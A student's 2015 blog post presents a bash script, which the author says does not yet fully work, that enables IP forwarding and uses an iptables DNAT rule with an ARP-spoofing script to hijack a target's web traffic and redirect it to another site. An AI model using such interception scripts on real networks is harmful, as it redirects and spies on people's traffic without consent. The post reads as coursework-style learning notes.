Intro

I am a Digital Forensics student studying at university in the UK. I also do some Cyber Security modules.
I am currently in my 2nd year.
I have mainly started this to post interesting things I have learned and problems I have encountered.
However, I will use it to do write ups about useful things I want to remember such as commands and tools I have used so I don't forget them! (To be honest, I don't expect anyone to read this!)

Wednesday 25 February 2015

Another DNS Bash Script

Im having fun with these bash scripts.

This one is one of my favourites i think, well it will be when it get it working 100%. Few niggly problems at the moment.

So basically, in the previous one, it redirects the browser to my locally hosted Apache server which can have anything on it.
However, i wanted to have a little bit more fun than that. I wanted the Target to be Re-Directed to a different website.
So if they tried to access "www.bbc.co.uk" they would be redirected to "www.dailymail.co.uk".

I have also added in a line at the end to automatically call the ArpSpoof script.
One major flaw is i cant seem to get it so it actually loads the website properly. There seems to be a lack of CSS on the page it gets re-directed too. I will look into this further......

#!/bin/bash
echo '1' > /proc/sys/net/ipv4/ip_forward
/etc/init.d/apache2 start
iptables -t nat --flush
iptables --zero
echo -e "Enter your interface: wlan0 or eth0"
read NIC
echo -e "Enter Either Your IP - OR IP Of Site To ReDirect Too: EG 192.168.0.4 - OR - 212.58.246.103:80 \n \t\t IF YOU ARE DOING IT TO EXTERNAL IP THEN ADD THE PORT!!!!"
read INTIP
iptables -A FORWARD --in-interface "$NIC" -j ACCEPT
iptables -t nat --append POSTROUTING --out-interface "$NIC" -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "$INTIP"
sh ./ARPSPOOFBASH

No comments:

Post a Comment